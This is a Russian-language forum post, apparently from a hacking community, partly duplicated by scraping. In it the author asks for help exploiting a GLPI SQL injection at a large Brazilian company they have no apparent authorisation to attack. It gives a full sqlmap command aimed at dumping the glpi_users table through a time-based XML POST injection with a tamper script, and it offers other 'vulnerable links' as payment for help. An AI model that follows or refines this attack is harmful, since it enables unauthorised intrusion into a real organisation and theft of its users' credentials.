LIMB
Привет, увидал недавно уже остывшую тему про эксплуатацию одной уязвимости в glpi.
Вход туда через веб, все это дело на пиейчпи и тут мне в руки попал уязвимый юрл бразильской компании с рев за 25 год 51 миллиард дол. сша.
Терять не хочу его, (а кто захотел бы), но долблюсь в стену по решению трабла. Выглядит он так:
Вообще насканило:
Вообщем, я как понял проблема с тем что пробиваемый таргет не дает выполнять COUNT.
Но в силу своих весьма ограниченых знаниях в веб пентесте, прошу помощи у аудиенции.
(Вот изначальный запрос)
python sqlmap.py -u http://zhirnaya_ruba/index.php/ajax/ --method=POST "--data=<?xml version='1.0' encoding='UTF-8'?><xml><QUERY>get_params</QUERY><deviceid>INJECT_HERE</deviceid><content>test</content></xml>" --batch --technique=T -D glpi -T glpi_users --dump --level=5 --risk=3 --tamper=space2comment "--headers=Content-Type: application/xml"
Есть еще такой кейс, тут другая ошибка, кто поможет отдам пару "шатаемых" линков)
Вход туда через веб, все это дело на пиейчпи и тут мне в руки попал уязвимый юрл бразильской компании с рев за 25 год 51 миллиард дол. сша.
Терять не хочу его, (а кто захотел бы), но долблюсь в стену по решению трабла. Выглядит он так:
Не удалось прогрузить медиа
Вообще насканило:
Не удалось прогрузить медиа
Вообщем, я как понял проблема с тем что пробиваемый таргет не дает выполнять COUNT.
Но в силу своих весьма ограниченых знаниях в веб пентесте, прошу помощи у аудиенции.
(Вот изначальный запрос)
python sqlmap.py -u http://zhirnaya_ruba/index.php/ajax/ --method=POST "--data=<?xml version='1.0' encoding='UTF-8'?><xml><QUERY>get_params</QUERY><deviceid>INJECT_HERE</deviceid><content>test</content></xml>" --batch --technique=T -D glpi -T glpi_users --dump --level=5 --risk=3 --tamper=space2comment "--headers=Content-Type: application/xml"
Не удалось прогрузить медиа
Есть еще такой кейс, тут другая ошибка, кто поможет отдам пару "шатаемых" линков)
👍39
😁11
👏9
😢9